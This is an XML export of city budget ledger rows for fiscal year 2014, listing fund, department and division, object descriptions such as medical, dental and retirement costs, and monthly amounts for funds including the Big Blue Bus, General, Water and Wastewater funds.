<row _id="6031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>33732.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>33732.0</total></row>
<row _id="6032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1453.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1453.0</total></row>
<row _id="6033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>77314.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77314.0</total></row>
<row _id="6034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5900.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5900.0</total></row>
<row _id="6035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>706981.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>706981.0</total></row>
<row _id="6036"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6097.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6097.0</total></row>
<row _id="6037"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>46814.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46814.0</total></row>
<row _id="6038"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3725.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3725.0</total></row>
<row _id="6039"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4581268.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4581268.0</total></row>
<row _id="6040"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>277021.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>277021.0</total></row>
<row _id="6041"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>201735.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>201735.0</total></row>
<row _id="6042"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>579240.0</object><object_description>CIVIC PARKING BOND DEBT SERVIC</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2551582.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2551582.0</total></row>
<row _id="6043"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555870.0</object><object_description>GROCERY &amp; SUNDRY ITEMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1026.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1026.0</total></row>
<row _id="6044"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>19951.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19951.0</total></row>
<row _id="6045"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>46172.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46172.0</total></row>
<row _id="6046"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>17554.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17554.0</total></row>
<row _id="6047"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>511712.0</object><object_description>MEDICARE-FIRE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>235515.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>235515.0</total></row>
<row _id="6048"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9058.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9058.0</total></row>
<row _id="6049"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8767.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8767.0</total></row>
<row _id="6050"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522850.0</object><object_description>SPECIAL PROJECTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>260000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>260000.0</total></row>
<row _id="6051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5898.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5898.0</total></row>
<row _id="6052"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401005.0</object><object_description>SWIM CENTER-ROOM RENTALS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-2700.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2700.0</total></row>
<row _id="6053"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401006.0</object><object_description>SWIM CENTER-SPECIAL CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-58867.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-58867.0</total></row>
<row _id="6054"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6055"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>462170.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>462170.0</total></row>
<row _id="6056"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>924.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>924.0</total></row>
<row _id="6057"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2295.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2295.0</total></row>
<row _id="6058"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18619.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18619.0</total></row>
<row _id="6059"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3228.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3228.0</total></row>
<row _id="6060"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9988.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9988.0</total></row>
<row _id="6061"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28104.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28104.0</total></row>
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<row _id="6063"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12394.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12394.0</total></row>
<row _id="6064"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5981.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5981.0</total></row>
<row _id="6065"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4933.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4933.0</total></row>
<row _id="6066"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1908.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1908.0</total></row>
<row _id="6067"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2439.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2439.0</total></row>
<row _id="6068"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>89317.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>89317.0</total></row>
<row _id="6069"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>10352.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10352.0</total></row>
<row _id="6070"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>189584.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>189584.0</total></row>
<row _id="6071"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>397794.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>397794.0</total></row>
<row _id="6072"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>519610.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>519610.0</total></row>
<row _id="6073"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12128.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12128.0</total></row>
<row _id="6074"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>444094.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>444094.0</total></row>
<row _id="6075"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>406071.0</object><object_description>PLAYA VISTA</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-642010.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-642010.0</total></row>
<row _id="6076"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>404650.0</object><object_description>INTEREST-CIVIC PKG STR BONDS</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6077"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ENG</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-298599.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-298599.0</total></row>
<row _id="6078"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3021.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3021.0</total></row>
<row _id="6079"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15566.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15566.0</total></row>
